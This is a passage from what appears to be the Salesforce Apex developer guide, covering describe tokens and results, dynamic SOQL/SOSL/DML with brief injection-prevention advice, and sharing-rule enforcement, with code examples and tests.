sObject or field when you are determining the type of an sObject or field that your code needs to use. The token can be compared using
the equality operator (==) to determine whether an sObject is the Account object, for example, or whether a field is the Name field or
a custom calculated field.
The following code provides a general example of how to use tokens and describe results to access information about sObject and field
properties:
// Create a new account as the generic type sObject
sObject s = new Account();
// Verify that the generic sObject is an Account sObject
System.assert(s.getsObjectType() == Account.sObjectType);
// Get the sObject describe result for the Account object
Schema.DescribeSObjectResult dsr = Account.sObjectType.getDescribe();
// Get the field describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;
// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);
// Get the field describe result from the token
dfr = dfr.getSObjectField().getDescribe();
The following algorithm shows how you can work with describe information in Apex:
1. Generate a list or map of tokens for the sObjects in your organization (see Accessing All sObjects.)
2. Determine the sObject you need to access.
3. Generate the describe result for the sObject.
4. If necessary, generate a map of field tokens for the sObject (see Accessing All Field Describe Results for an sObject.)
5. Generate the describe result for the field the code needs to access.
166
Working with Data in Apex
Understanding Apex Describe Information
Using sObject Tokens
SObjects, such as Account and MyCustomObject__c, act as static classes with special static methods and member variables for accessing
token and describe result information. You must explicitly reference an sObject and field name at compile time to gain access to the
describe result.
To access the token for an sObject, use one of the following methods:
• Access the sObjectType member variable on an sObject type, such as Account.
• Call the getSObjectType method on an sObject describe result, an sObject variable, a list, or a map.
Schema.SObjectType is the data type for an sObject token.
In the following example, the token for the Account sObject is returned:
Schema.sObjectType t = Account.sObjectType;
The following also returns a token for the Account sObject:
Account a = new Account();
Schema.sObjectType t = a.getSObjectType();
This example can be used to determine whether an sObject or a list of sObjects is of a particular type:
// Create a generic sObject variable s
SObject s = Database.query('SELECT Id FROM Account LIMIT 1');
// Verify if that sObject variable is an Account token
System.assertEquals(s.getSObjectType(), Account.sObjectType);
// Create a list of generic sObjects
List sobjList = new Account[]{};
// Verify if the list of sObjects contains Account tokens
System.assertEquals(sobjList.getSObjectType(), Account.sObjectType);
Some standard sObjects have a field called sObjectType, for example, AssignmentRule, QueueSObject, and RecordType. For these
types of sObjects, always use the getSObjectType method for retrieving the token. If you use the property, for example,
RecordType.sObjectType, the field is returned.
Obtaining sObject Describe Results Using Tokens
To access the describe result for an sObject, use one of the following methods:
• Call the getDescribe method on an sObject token.
• Use the Schema sObjectType static variable with the name of the sObject. For example, Schema.sObjectType.Lead.
Schema.DescribeSObjectResult is the data type for an sObject describe result.
The following example uses the getDescribe method on an sObject token:
Schema.DescribeSObjectResult dsr = Account.sObjectType.getDescribe();
The following example uses the Schema sObjectType static member variable:
Schema.DescribeSObjectResult dsr = Schema.SObjectType.Account;
167
Working with Data in Apex
Using Field Tokens
For more information about the methods available with the sObject describe result, see DescribeSObjectResult Class.
SEE ALSO:
fields
fieldSets
Using Field Tokens
To access the token for a field, use one of the following methods:
• Access the static member variable name of an sObject static type, for example, Account.Name.
• Call the getSObjectField method on a field describe result.
The field token uses the data type Schema.SObjectField.
In the following example, the field token is returned for the Account object's Description field:
Schema.SObjectField fieldToken = Account.Description;
In the following example, the field token is returned from the field describe result:
// Get the describe result for the Name field on the Account object
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.Name;
// Verify that the field token is the token for the Name field on an Account object
System.assert(dfr.getSObjectField() == Account.Name);
// Get the describe result from the token
dfr = dfr.getSObjectField().getDescribe();
Note: Field tokens aren't available for person accounts. If you access Schema.Account.fieldname, you'll get an exception
error. Instead, specify the field name as a string.
Using Field Describe Results
To access the describe result for a field, use one of the following methods:
• Call the getDescribe method on a field token.
• Access the fields member variable of an sObject token with a field member variable (such as Name, BillingCity, and so
on.)
The field describe result uses the data type Schema.DescribeFieldResult.
The following example uses the getDescribe method:
Schema.DescribeFieldResult dfr = Account.Description.getDescribe();
This example uses the fields member variable method:
Schema.DescribeFieldResult dfr = Schema.SObjectType.Account.fields.Name;
In the example above, the system uses special parsing to validate that the final member variable (Name) is valid for the specified sObject
at compile time. When the parser finds the fields member variable, it looks backwards to find the name of the sObject (Account).
It validates that the field name following the fields member variable is legitimate. The fields member variable only works when
used in this manner.
168
Working with Data in Apex
Understanding Describe Information Permissions
Note: Don’t use the fields member variable without also using either a field member variable name or the getMap method.
For more information on getMap, see the next section.
For more information about the methods available with a field describe result, see DescribeFieldResult Class.
Accessing All Field Describe Results for an sObject
Use the field describe result's getMap method to return a map that represents the relationship between all the field names (keys) and
the field tokens (values) for an sObject.
The following example generates a map that can be used to access a field by name:
Map fieldMap = Schema.SObjectType.Account.fields.getMap();
Note: The value type of this map is not a field describe result. Using the describe results would take too many system resources.
Instead, it is a map of tokens that you can use to find the appropriate field. After you determine the field, generate the describe
result for it.
The map has the following characteristics:
• It is dynamic, that is, it is generated at runtime on the fields for that sObject.
• All field names are case insensitive.
• The keys use namespaces as required.
• The keys reflect whether the field is a custom object.
For example, if the code block that generates the map is in namespace N1, and a field is also in N1, the key in the map is represented as
MyField__c. However, if the code block is in namespace N1, and the field is in namespace N2, the key is N2__MyField__c.
In addition, standard fields have no namespace prefix.
Field Describe Considerations
Note the following when describing fields.
• A field describe that’s executed from within an installed managed package returns Chatter fields even if Chatter is not enabled in
the installing organization. This is not true if the field describe is executed from a class that’s not within an installed managed package.
• When you describe sObjects and their fields from within an Apex class, custom fields of new field types are returned regardless of
the API version that the class is saved in. If a field type, such as the geolocation field type, is available only in a recent API version,
components of a geolocation field are returned even if the class is saved in an earlier API version.
SEE ALSO:
fields
fieldSets
Understanding Describe Information Permissions
Apex classes and triggers run in system mode. All classes and triggers that are not included in a package, that is, are native to your
organization, have no restrictions on the sObjects that they can look up dynamically. This means that with native code, you can generate
a map of all the sObjects for your organization, regardless of the current user's permission.
If you execute describe calls in an anonymous block, user permissions are taken into account. As a result, not all sObjects and fields can
be looked up if access is restricted for the running user. For example, if the you describe account fields in an anonmynous block and you
don’t have access to all fields, not all fields are returned. However, all fields are returned for the same call in an Apex class.
169
Working with Data in Apex
Describing sObjects Using Schema Method
Dynamic Apex, contained in managed packages created by Salesforce ISV partners that are installed from Force.com AppExchange, have
restricted access to any sObject outside the managed package. Partners can set the API Access value within the package to grant
access to standard sObjects not included as part of the managed package. While Partners can request access to standard objects, custom
objects are not included as part of the managed package and can never be referenced or accessed by dynamic Apex that is packaged.
For more information, see “About API and Dynamic Apex Access in Packages” in the Salesforce online help.
Describing sObjects Using Schema Method
As an alternative to using tokens, you can describe sObjects by calling the describeSObjects Schema method and passing one
or more sObject type names for the sObjects you want to describe.
This example gets describe metadata information for two sObject types—The Account standard object and the Merchandise__c custom
object. After obtaining the describe result for each sObject, this example writes the returned information to the debug output, such as
the sObject label, number of fields, whether it is a custom object or not, and the number of child relationships.
// sObject types to describe
String[] types = new String[]{'Account','Merchandise__c'};
// Make the describe call
Schema.DescribeSobjectResult[] results = Schema.describeSObjects(types);
System.debug('Got describe information for ' + results.size() + ' sObjects.');
// For each returned result, get some info
for(Schema.DescribeSobjectResult res : results) {
System.debug('sObject Label: ' + res.getLabel());
System.debug('Number of fields: ' + res.fields.getMap().size());
System.debug(res.isCustom() ? 'This is a custom object.' : 'This is a standard object.');
// Get child relationships
Schema.ChildRelationship[] rels = res.getChildRelationships();
if (rels.size() > 0) {
System.debug(res.getName() + ' has ' + rels.size() + ' child relationships.');
}
}
SEE ALSO:
fields
fieldSets
Describing Tabs Using Schema Methods
You can get metadata information about the apps and their tabs available in the Salesforce user interface by executing a describe call
in Apex. Also, you can get more detailed information about each tab. The methods that let you perform this are the describeTabs
Schema method and the getTabs method in Schema.DescribeTabResult, respectively.
170
Working with Data in Apex
Describing Tabs Using Schema Methods
This example shows how to get the tab sets for each app. The example then obtains tab describe metadata information for the Sales
app. For each tab, metadata information includes the icon URL, whether the tab is custom or not, and colors among others. The tab
describe information is written to the debug output.
// Get tab set describes for each app
List tabSetDesc = Schema.describeTabs();
// Iterate through each tab set describe for each app and display the info
for(DescribeTabSetResult tsr : tabSetDesc) {
String appLabel = tsr.getLabel();
System.debug('Label: ' + appLabel);
System.debug('Logo URL: ' + tsr.getLogoUrl());
System.debug('isSelected: ' + tsr.isSelected());
String ns = tsr.getNamespace();
if (ns == '') {
System.debug('The ' + appLabel + ' app has no namespace defined.');
}
else {
System.debug('Namespace: ' + ns);
}
// Display tab info for the Sales app
if (appLabel == 'Sales') {
List tabDesc = tsr.getTabs();
System.debug('-- Tab information for the Sales app --');
for(Schema.DescribeTabResult tr : tabDesc) {
System.debug('getLabel: ' + tr.getLabel());
System.debug('getColors: ' + tr.getColors());
System.debug('getIconUrl: ' + tr.getIconUrl());
System.debug('getIcons: ' + tr.getIcons());
System.debug('getMiniIconUrl: ' + tr.getMiniIconUrl());
System.debug('getSobjectName: ' + tr.getSobjectName());
System.debug('getUrl: ' + tr.getUrl());
System.debug('isCustom: ' + tr.isCustom());
}
}
}
// Example debug statement output
// DEBUG|Label: Sales
// DEBUG|Logo URL: https://yourInstance.salesforce.com/img/seasonLogos/2014_winter_aloha.png
// DEBUG|isSelected: true
// DEBUG|The Sales app has no namespace defined.// DEBUG|-- Tab information for the Sales
app -// (This is an example debug output for the Accounts tab.)
// DEBUG|getLabel: Accounts
// DEBUG|getColors:
(Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme4;],
//
Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme3;],
//
Schema.DescribeColorResult[getColor=236FBD;getContext=primary;getTheme=theme2;])
// DEBUG|getIconUrl: https://yourInstance.salesforce.com/img/icon/accounts32.png
// DEBUG|getIcons:
(Schema.DescribeIconResult[getContentType=image/png;getHeight=32;getTheme=theme3;
171
Working with Data in Apex
Accessing All sObjects
//
getUrl=https://yourInstance.salesforce.com/img/icon/accounts32.png;getWidth=32;],
//
//
//
//
//
//
Schema.DescribeIconResult[getContentType=image/png;getHeight=16;getTheme=theme3;
getUrl=https://yourInstance.salesforce.com/img/icon/accounts16.png;getWidth=16;])
DEBUG|getMiniIconUrl: https://yourInstance.salesforce.com/img/icon/accounts16.png
DEBUG|getSobjectName: Account
DEBUG|getUrl: https://yourInstance.salesforce.com/001/o
DEBUG|isCustom: false
Accessing All sObjects
Use the Schema getGlobalDescribe method to return a map that represents the relationship between all sObject names (keys)
to sObject tokens (values). For example:
Map gd = Schema.getGlobalDescribe();
The map has the following characteristics:
• It is dynamic, that is, it is generated at runtime on the sObjects currently available for the organization, based on permissions.
• The sObject names are case insensitive.
*
• The keys are prefixed with the namespace, if any.
• The keys reflect whether the sObject is a custom object.
*
Starting with Apex saved using Salesforce API version 28.0, the keys in the map that getGlobalDescribe returns are always
prefixed with the namespace, if any, of the code in which it is running. For example, if the code block that makes the
getGlobalDescribe call is in namespace NS1, and a custom object named MyObject__c is in the same namespace, the key
returned is NS1__MyObject__c. For Apex saved using earlier API versions, the key contains the namespace only if the namespace
of the code block and the namespace of the sObject are different. For example, if the code block that generates the map is in namespace
N1, and an sObject is also in N1, the key in the map is represented as MyObject__c. However, if the code block is in namespace N1,
and the sObject is in namespace N2, the key is N2__MyObject__c.
Standard sObjects have no namespace prefix.
Note: If the getGlobalDescribe method is called from an installed managed package, it returns sObject names and tokens
for Chatter sObjects, such as NewsFeed and UserProfileFeed, even if Chatter is not enabled in the installing organization. This is
not true if the getGlobalDescribe method is called from a class not within an installed managed package.
Accessing All Data Categories Associated with an sObject
Use the describeDataCategoryGroups and describeDataCategoryGroupStructures methods to return the
categories associated with a specific object:
1. Return all the category groups associated with the objects of your choice (see
describeDataCategoryGroups(sObjectNames)).
2. From the returned map, get the category group name and sObject name you want to further interrogate (see Describe
DataCategoryGroupResult Class).
3. Specify the category group and associated object, then retrieve the categories available to this object (see
describeDataCategoryGroupStructures).
The describeDataCategoryGroupStructures method returns the categories available for the object in the category group
you specified. For additional information about data categories, see “Data Categories in Salesforce.com” in the Salesforce online help.
172
Working with Data in Apex
Accessing All Data Categories Associated with an sObject
In the following example, the describeDataCategoryGroupSample method returns all the category groups associated with
the Article and Question objects. The describeDataCategoryGroupStructures method returns all the categories available
for articles and questions in the Regions category group. For additional information about articles and questions, see “Work with Articles
and Translations” and “Answers Overview” in the Salesforce online help.
To use the following example, you must:
• Enable Salesforce Knowledge.
• Enable the answers feature.
• Create a data category group called Regions.
• Assign Regions as the data category group to be used by Answers.
• Make sure the Regions data category group is assigned to Salesforce Knowledge.
For more information on creating data category groups, see “Create and Modify Category Groups” in the Salesforce online help. For more
information on answers, see “Answers Overview” in the Salesforce online help.
public class DescribeDataCategoryGroupSample {
public static List describeDataCategoryGroupSample(){
List describeCategoryResult;
try {
//Creating the list of sobjects to use for the describe
//call
List objType = new List();
objType.add('KnowledgeArticleVersion');
objType.add('Question');
//Describe Call
describeCategoryResult = Schema.describeDataCategoryGroups(objType);
//Using the results and retrieving the information
for(DescribeDataCategoryGroupResult singleResult : describeCategoryResult){
//Getting the name of the category
singleResult.getName();
//Getting the name of label
singleResult.getLabel();
//Getting description
singleResult.getDescription();
//Getting the sobject
singleResult.getSobject();
}
} catch(Exception e){
}
return describeCategoryResult;
}
173
Working with Data in Apex
Accessing All Data Categories Associated with an sObject
}
public class DescribeDataCategoryGroupStructures {
public static List
getDescribeDataCategoryGroupStructureResults(){
List describeCategoryResult;
List describeCategoryStructureResult;
try {
//Making the call to the describeDataCategoryGroups to
//get the list of category groups associated
List objType = new List();
objType.add('KnowledgeArticleVersion');
objType.add('Question');
describeCategoryResult = Schema.describeDataCategoryGroups(objType);
//Creating a list of pair objects to use as a parameter
//for the describe call
List pairs =
new List();
//Looping throught the first describe result to create
//the list of pairs for the second describe call
for(DescribeDataCategoryGroupResult singleResult :
describeCategoryResult){
DataCategoryGroupSobjectTypePair p =
new DataCategoryGroupSobjectTypePair();
p.setSobject(singleResult.getSobject());
p.setDataCategoryGroupName(singleResult.getName());
pairs.add(p);
}
//describeDataCategoryGroupStructures()
describeCategoryStructureResult =
Schema.describeDataCategoryGroupStructures(pairs, false);
//Getting data from the result
for(DescribeDataCategoryGroupStructureResult singleResult :
describeCategoryStructureResult){
//Get name of the associated Sobject
singleResult.getSobject();
//Get the name of the data category group
singleResult.getName();
//Get the name of the data category group
singleResult.getLabel();
//Get the description of the data category group
singleResult.getDescription();
//Get the top level categories
DataCategory [] toplevelCategories =
174
Working with Data in Apex
Accessing All Data Categories Associated with an sObject
singleResult.getTopCategories();
//Recursively get all the categories
List allCategories =
getAllCategories(toplevelCategories);
for(DataCategory category : allCategories) {
//Get the name of the category
category.getName();
//Get the label of the category
category.getLabel();
//Get the list of sub categories in the category
DataCategory [] childCategories =
category.getChildCategories();
}
}
} catch (Exception e){
}
return describeCategoryStructureResult;
}
private static DataCategory[] getAllCategories(DataCategory [] categories){
if(categories.isEmpty()){
return new DataCategory[]{};
} else {
DataCategory [] categoriesClone = categories.clone();
DataCategory category = categoriesClone[0];
DataCategory[] allCategories = new DataCategory[]{category};
categoriesClone.remove(0);
categoriesClone.addAll(category.getChildCategories());
allCategories.addAll(getAllCategories(categoriesClone));
return allCategories;
}
}
}
Testing Access to All Data Categories Associated with an sObject
The following example tests the describeDataCategoryGroupSample method shown earlier. It ensures that the returned
category group and associated objects are correct.
@isTest
private class DescribeDataCategoryGroupSampleTest {
public static testMethod void describeDataCategoryGroupSampleTest(){
ListdescribeResult =
DescribeDataCategoryGroupSample.describeDataCategoryGroupSample();
//Assuming that you have KnowledgeArticleVersion and Questions
//associated with only one category group 'Regions'.
System.assert(describeResult.size() == 2,
'The results should only contain two results: ' + describeResult.size());
175
Working with Data in Apex
Accessing All Data Categories Associated with an sObject
for(DescribeDataCategoryGroupResult result : describeResult) {
//Storing the results
String name = result.getName();
String label = result.getLabel();
String description = result.getDescription();
String objectNames = result.getSobject();
//asserting the values to make sure
System.assert(name == 'Regions',
'Incorrect name was returned: ' + name);
System.assert(label == 'Regions of the World',
'Incorrect label was returned: ' + label);
System.assert(description == 'This is the category group for all the regions',
'Incorrect description was returned: ' + description);
System.assert(objectNames.contains('KnowledgeArticleVersion')
|| objectNames.contains('Question'),
'Incorrect sObject was returned: ' + objectNames);
}
}
}
This example tests the describeDataCategoryGroupStructures method. It ensures that the returned category group,
categories and associated objects are correct.
@isTest
private class DescribeDataCategoryGroupStructuresTest {
public static testMethod void getDescribeDataCategoryGroupStructureResultsTest(){
List describeResult =
DescribeDataCategoryGroupStructures.getDescribeDataCategoryGroupStructureResults();
System.assert(describeResult.size() == 2,
'The results should only contain 2 results: ' + describeResult.size());
//Creating category info
CategoryInfo world = new CategoryInfo('World', 'World');
CategoryInfo asia = new CategoryInfo('Asia', 'Asia');
CategoryInfo northAmerica = new CategoryInfo('NorthAmerica',
'North America');
CategoryInfo southAmerica = new CategoryInfo('SouthAmerica',
'South America');
CategoryInfo europe = new CategoryInfo('Europe', 'Europe');
List info = new CategoryInfo[] {
asia, northAmerica, southAmerica, europe
};
for (Schema.DescribeDataCategoryGroupStructureResult result : describeResult) {
String name = result.getName();
String label = result.getLabel();
String description = result.getDescription();
String objectNames = result.getSobject();
//asserting the values to make sure
176
Working with Data in Apex
Dynamic SOQL
System.assert(name == 'Regions',
'Incorrect name was returned: ' + name);
System.assert(label == 'Regions of the World',
'Incorrect label was returned: ' + label);
System.assert(description == 'This is the category group for all the regions',
'Incorrect description was returned: ' + description);
System.assert(objectNames.contains('KnowledgeArticleVersion')
|| objectNames.contains('Question'),
'Incorrect sObject was returned: ' + objectNames);
DataCategory [] topLevelCategories = result.getTopCategories();
System.assert(topLevelCategories.size() == 1,
'Incorrect number of top level categories returned: ' + topLevelCategories.size());
System.assert(topLevelCategories[0].getLabel() == world.getLabel() &&
topLevelCategories[0].getName() == world.getName());
//checking if the correct children are returned
DataCategory [] children = topLevelCategories[0].getChildCategories();
System.assert(children.size() == 4,
'Incorrect number of children returned: ' + children.size());
for(Integer i=0; i < children.size(); i++){
System.assert(children[i].getLabel() == info[i].getLabel() &&
children[i].getName() == info[i].getName());
}
}
}
private class CategoryInfo {
private final String name;
private final String label;
private CategoryInfo(String n, String l){
this.name = n;
this.label = l;
}
public String getName(){
return this.name;
}
public String getLabel(){
return this.label;
}
}
}
Dynamic SOQL
Dynamic SOQL refers to the creation of a SOQL string at run time with Apex code. Dynamic SOQL enables you to create more flexible
applications. For example, you can create a search based on input from an end user or update records with varying field names.
To create a dynamic SOQL query at run time, use the database query method, in one of the following ways.
177
Working with Data in Apex
Dynamic SOSL
• Return a single sObject when the query returns a single record:
sObject s = Database.query(string_limit_1);
• Return a list of sObjects when the query returns more than a single record:
List sobjList = Database.query(string);
The database query method can be used wherever an inline SOQL query can be used, such as in regular assignment statements and
for loops. The results are processed in much the same way as static SOQL queries are processed.
Dynamic SOQL results can be specified as concrete sObjects, such as Account or MyCustomObject__c, or as the generic sObject data
type. At run time, the system validates that the type of the query matches the declared type of the variable. If the query does not return
the correct sObject type, a run-time error is thrown. This means you do not need to cast from a generic sObject to a concrete sObject.
Dynamic SOQL queries have the same governor limits as static queries. For more information on governor limits, see Execution Governors
and Limits on page 274.
For a full description of SOQL query syntax, see Salesforce Object Query Language (SOQL) in the Force.com SOQL and SOSL Reference.
Dynamic SOQL Considerations
You can use simple bind variables in dynamic SOQL query strings. The following is allowed:
String myTestString = 'TestName';
List sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE Name =
:myTestString');
However, unlike inline SOQL, dynamic SOQL can’t use bind variable fields in the query string. The following example isn’t supported and
results in a Variable does not exist error:
MyCustomObject__c myVariable = new MyCustomObject__c(field1__c ='TestField');
List sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c
= :myVariable.field1__c');
You can instead resolve the variable field into a string and use the string in your dynamic SOQL query:
String resolvedField1 = myVariable.field1__c;
List sobjList = Database.query('SELECT Id FROM MyCustomObject__c WHERE field1__c
= ' + resolvedField1);
SOQL Injection
SOQL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOQL
statements into your code. This can occur in Apex code whenever your application relies on end user input to construct a dynamic SOQL
statement and you do not handle the input properly.
To prevent SOQL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation
marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead
of database commands.
Dynamic SOSL
Dynamic SOSL refers to the creation of a SOSL string at run time with Apex code. Dynamic SOSL enables you to create more flexible
applications. For example, you can create a search based on input from an end user, or update records with varying field names.
178
Working with Data in Apex
Dynamic SOSL
To create a dynamic SOSL query at run time, use the search query method. For example:
List> myQuery = search.query(SOSL_search_string);
The following example exercises a simple SOSL query string.
String searchquery='FIND\'Edge*\'IN ALL FIELDS RETURNING Account(id,name),Contact, Lead';
List>searchList=search.query(searchquery);
Dynamic SOSL statements evaluate to a list of lists of sObjects, where each list contains the search results for a particular sObject type.
The result lists are always returned in the same order as they were specified in the dynamic SOSL query. From the example above, the
results from Account are first, then Contact, then Lead.
The search query method can be used wherever an inline SOSL query can be used, such as in regular assignment statements and
for loops. The results are processed in much the same way as static SOSL queries are processed.
Dynamic SOSL queries have the same governor limits as static queries. For more information on governor limits, see Execution Governors
and Limits on page 274.
For a full description of SOSL query syntax, see Salesforce Object Search Language (SOSL) in the Force.com SOQL and SOSL Reference.
Use Dynamic SOSL to Return Snippets
To provide more context for records in search results, use the SOSL WITH SNIPPET clause. Snippets make it easier to identify the
content you’re looking for. For information about how snippets are generated, see WITH SNIPPET in the Force.com SOQL and SOSL
Reference.
To use the SOSL WITH SNIPPET clause in a dynamic SOSL query at run time, use the Search.find method.
Search.SearchResults searchResults = Search.find(SOSL_search_string);
This example exercises a simple SOSL query string that includes a WITH SNIPPET clause. The example calls System.debug()
to print the returned titles and snippets. Your code would display the titles and snippets in a Web page.
Search.SearchResults searchResults = Search.find('FIND \'test\' IN ALL FIELDS RETURNING
KnowledgeArticleVersion(id, title WHERE PublishStatus = \'Online\' AND Language = \'en_US\')
WITH SNIPPET (target_length=120)');
List articlelist = searchResults.get('KnowledgeArticleVersion');
for (Search.SearchResult searchResult : articleList) {
KnowledgeArticleVersion article = (KnowledgeArticleVersion) searchResult.getSObject();
System.debug(article.Title);
System.debug(searchResult.getSnippet());
}
SOSL Injection
SOSL injection is a technique by which a user causes your application to execute database methods you did not intend by passing SOSL
statements into your code. A SOSL injection can occur in Apex code whenever your application relies on end-user input to construct a
dynamic SOSL statement and you do not handle the input properly.
179
Working with Data in Apex
Dynamic DML
To prevent SOSL injection, use the escapeSingleQuotes method. This method adds the escape character (\) to all single quotation
marks in a string that is passed in from a user. The method ensures that all single quotation marks are treated as enclosing strings, instead
of database commands.
SEE ALSO:
find(searchQuery)
Dynamic DML
In addition to querying describe information and building SOQL queries at runtime, you can also create sObjects dynamically, and insert
them into the database using DML.
To create a new sObject of a given type, use the newSObject method on an sObject token. Note that the token must be cast into a
concrete sObject type (such as Account). For example:
// Get a new account
Account a = new Account();
// Get the token for the account
Schema.sObjectType tokenA = a.getSObjectType();
// The following produces an error because the token is a generic sObject, not an Account
// Account b = tokenA.newSObject();
// The following works because the token is cast back into an Account
Account b = (Account)tokenA.newSObject();
Though the sObject token tokenA is a token of Account, it is considered an sObject because it is accessed separately. It must be cast
back into the concrete sObject type Account to use the newSObject method. For more information on casting, see Classes and
Casting on page 95.
You can also specify an ID with newSObject to create an sObject that references an existing record that you can update later. For
example:
SObject s = Database.query('SELECT Id FROM account LIMIT 1')[0].getSObjectType().
newSObject([SELECT Id FROM Account LIMIT 1][0].Id);
See SObjectType Class.
Dynamic sObject Creation Example
This example shows how to obtain the sObject token through the Schema.getGlobalDescribe method and then creates a
new sObject using the newSObject method on the token. This example also contains a test method that verifies the dynamic creation
of an account.
public class DynamicSObjectCreation {
public static sObject createObject(String typeName) {
Schema.SObjectType targetType = Schema.getGlobalDescribe().get(typeName);
if (targetType == null) {
// throw an exception
}
// Instantiate an sObject with the type passed in as an argument
// at run time.
return targetType.newSObject();
180
Working with Data in Apex
Dynamic DML
}
}
@isTest
private class DynamicSObjectCreationTest {
static testmethod void testObjectCreation() {
String typeName = 'Account';
String acctName = 'Acme';
// Create a new sObject by passing the sObject type as an argument.
Account a = (Account)DynamicSObjectCreation.createObject(typeName);
System.assertEquals(typeName, String.valueOf(a.getSobjectType()));
// Set the account name and insert the account.
a.Name = acctName;
insert a;
// Verify the new sObject got inserted.
Account[] b = [SELECT Name from Account WHERE Name = :acctName];
system.assert(b.size() > 0);
}
}
Setting and Retrieving Field Values
Use the get and put methods on an object to set or retrieve values for fields using either the API name of the field expressed as a
String, or the field's token. In the following example, the API name of the field AccountNumber is used:
SObject s = [SELECT AccountNumber FROM Account LIMIT 1];
Object o = s.get('AccountNumber');
s.put('AccountNumber', 'abc');
The following example uses the AccountNumber field's token instead:
Schema.DescribeFieldResult dfr = Schema.sObjectType.Account.fields.AccountNumber;
Sobject s = Database.query('SELECT AccountNumber FROM Account LIMIT 1');
s.put(dfr.getsObjectField(), '12345');
The Object scalar data type can be used as a generic data type to set or retrieve field values on an sObject. This is equivalent to the
anyType field type. Note that the Object data type is different from the sObject data type, which can be used as a generic type for any
sObject.
Note: Apex classes and triggers saved (compiled) using API version 15.0 and higher produce a runtime error if you assign a String
value that is too long for the field.
Setting and Retrieving Foreign Keys
Apex supports populating foreign keys by name (or external ID) in the same way as the API. To set or retrieve the scalar ID value of a
foreign key, use the get or put methods.
181
Working with Data in Apex
Apex Security and Sharing
To set or retrieve the record associated with a foreign key, use the getSObject and putSObject methods. Note that these
methods must be used with the sObject data type, not Object. For example:
SObject c =
Database.query('SELECT Id, FirstName, AccountId, Account.Name FROM Contact LIMIT 1');
SObject a = c.getSObject('Account');
There is no need to specify the external ID for a parent sObject value while working with child sObjects. If you provide an ID in the parent
sObject, it is ignored by the DML operation. Apex assumes the foreign key is populated through a relationship SOQL query, which always
returns a parent object with a populated ID. If you have an ID, use it with the child object.
For example, suppose that custom object C1 has a foreign key C2__c that links to a parent custom object C2. You want to create a C1
object and have it associated with a C2 record named 'AW Computing' (assigned to the value C2__r). You do not need the ID of the
'AW Computing' record, as it is populated through the relationship of parent to child. For example:
insert new C1__c(Name = 'x', C2__r = new C2__c(Name = 'AW Computing'));
If you had assigned a value to the ID for C2__r, it would be ignored. If you do have the ID, assign it to the object (C2__c), not the
record.
You can also access foreign keys using dynamic Apex. The following example shows how to get the values from a subquery in a
parent-to-child relationship using dynamic Apex:
String queryString = 'SELECT Id, Name, ' +
'(SELECT FirstName, LastName FROM Contacts LIMIT 1) FROM Account';
SObject[] queryParentObject = Database.query(queryString);
for (SObject parentRecord : queryParentObject){
Object ParentFieldValue = parentRecord.get('Name');
// Prevent a null relationship from being accessed
SObject[] childRecordsFromParent = parentRecord.getSObjects('Contacts');
if (childRecordsFromParent != null) {
for (SObject childRecord : childRecordsFromParent){
Object ChildFieldValue1 = childRecord.get('FirstName');
Object ChildFieldValue2 = childRecord.get('LastName');
System.debug('Account Name: ' + ParentFieldValue +
'. Contact Name: '+ ChildFieldValue1 + ' ' + ChildFieldValue2);
}
}
}
Apex Security and Sharing
This chapter covers security and sharing for Apex. You’ll learn about the security of running code and how to add user permissions for
Apex classes. Also, you’ll learn how sharing rules can be enforced. Furthermore, Apex managed sharing is described. Finally, security tips
are provided.
Enforcing Sharing Rules
Apex generally runs in system context; that is, the current user's permissions, field-level security, and sharing rules aren’t taken into
account during code execution.
182
Working with Data in Apex
Enforcing Sharing Rules
Note: The only exceptions to this rule are Apex code that is executed with the executeAnonymous call and Chatter in Apex.
executeAnonymous always executes using the full permissions of the current user. For more information on
executeAnonymous, see Anonymous Blocks on page 209.
Because these rules aren't enforced, developers who use Apex must take care that they don't inadvertently expose sensitive data that
would normally be hidden from users by user permissions, field-level security, or organization-wide defaults. They should be particularly
careful with Web services, which can be restricted by permissions, but execute in system context once they are initiated.
Most of the time, system context provides the correct behavior for system-level operations such as triggers and Web services that need
access to all data in an organization. However, you can also specify that particular Apex classes should enforce the sharing rules that
apply to the current user. (For more information on sharing rules, see the Salesforce online help.)
Note: Enforcing sharing rules by using the with sharing keyword doesn’t enforce the user's permissions and field-level
security. Apex code always has access to all fields and objects in an organization, ensuring that code won’t fail to run because of
hidden fields or objects for a user.
This example has two classes, the first class (CWith) enforces sharing rules while the second class (CWithout) doesn’t. The CWithout
class calls a method from the first, which runs with sharing rules enforced. The CWithout class contains an inner classes, in which
code executes under the same sharing context as the caller. It also contains a class that extends it, which inherits its without sharing
setting.
public with sharing class CWith {
// All code in this class operates with enforced sharing rules.
Account a = [SELECT . . . ];
public static void m() { . . . }
static {
. . .
}
{
. . .
}
public void c() {
. . .
}
}
public without sharing class CWithout {
// All code in this class ignores sharing rules and operates
// as if the context user has the Modify All Data permission.
Account a = [SELECT . . . ];
. . .
public static void m() {
. . .
// This call into CWith operates with enforced sharing rules
// for the context user. When the call finishes, the code execution
// returns to without sharing mode.
CWith.m();
}
183
Working with Data in Apex
Enforcing Object and Field Permissions
public class CInner {
// All code in this class executes with the same sharing context
// as the code that calls it.
// Inner classes are separate from outer classes.
. . .
// Again, this call into CWith operates with enforced sharing rules
// for the context user, regardless of the class that initially called this inner
class.
// When the call finishes, the code execution returns to the sharing mode that was
used to call this inner class.
CWith.m();
}
public class CInnerWithOut extends CWithout {
// All code in this class ignores sharing rules because
// this class extends a parent class that ignores sharing rules.
}
}
Warning: There is no guarantee that a class declared as with sharing doesn't call code that operates as without
sharing. Class-level security is always still necessary. In addition, all SOQL or SOSL queries that use PriceBook2 ignore the with
sharing keyword. All PriceBook records are returned, regardless of the applied sharing rules.
Enforcing the current user's sharing rules can impact:
• SOQL and SOSL queries. A query may return fewer rows than it would operating in system context.
• DML operations. An operation may fail because the current user doesn't have the correct permissions. For example, if the user
specifies a foreign key value that exists in the organization, but which the current user does not have access to.
